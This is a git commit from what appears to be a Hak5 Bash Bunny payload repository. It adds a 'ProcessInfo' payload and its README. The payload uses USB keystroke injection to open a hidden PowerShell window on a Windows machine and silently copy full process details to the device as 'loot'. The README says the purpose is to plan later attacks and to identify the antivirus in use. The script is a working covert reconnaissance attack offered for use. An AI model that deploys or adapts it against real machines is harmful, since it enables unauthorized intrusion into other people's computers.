Added BruteBunny and ProcessInfo payloads (#140)

This commit is contained in:
DeeKoy
2017-04-07 01:01:37 -04:00
committed by Sebastian Kinne
parent fc1d812d96
commit 945b5c14d9
7 changed files with 240 additions and 0 deletions

View File

@@ -0,0 +1,41 @@
#!/bin/bash
#
# Title: Process Info
# Author: Decoy
# Version: 1.0
# Category: Recon
# Target: Windows XP SP3+ (Powershell)
# Attackmodes: HID, Storage
#
#
# Amber Blink Fast.....Initialization
# Amber................Begin
# White Blinking... ...Moving loot to mass storage
# Blue Blinking........Syncing File System
# Green................Finished
# Initialization
LED R G 100
# Create loot directory
mkdir -p /root/udisk/loot/ProcessInfo
# Runs minimized powershell gathering process information for potential future attack vectors
LED R G
ATTACKMODE HID STORAGE
QUACK DELAY 6000
QUACK GUI r
QUACK STRING "powershell -NoP -NonI -W Hidden"
QUACK ENTER
QUCK DELAY 1000
QUACK STRING "\$Bunny = (gwmi win32_volume -f 'label=\"BashBunny\"' | Select-Object -ExpandProperty DriveLetter); Get-Process | Format-List -Property * | Out-File \$Bunny\\loot\\ProcessInfo\\ProcessInfo.txt; exit"
QUACK ENTER
LED R G B 100
sleep 3
# Sync File System
LED B 100
sync; sleep 1; sync
# Trap is clean
LED G

View File

@@ -0,0 +1,30 @@
# Process Info for Bash Bunny
* Author: Decoy
* Version: Version 1.0
* Target: Windows
## Description
This is just a quick and dirty payload to return all running processes under the current user.
This will return the path/filename/version, and quite a bit of other info as well. This information
can be useful for planning future attacks, such as taking advantage of buffer overflows, and other
various vulnerabilities to gain a more permanent foothold into a target system. It can also be
useful in identifying what AV is in use on a target system.
## Configuration
None needed.
## STATUS
| LED | Status |
| ------------------ | -------------------------------------------- |
| Amber (blinking) | Setting up |
| Amber | Attack running |
| White (blinking) | Moving loot to mass storage |
| Blue (blinking) | Syncing File System |
| Green | Trap is clean |
## Discussion
https://forums.hak5.org/index.php?/topic/40605-payload-process-info/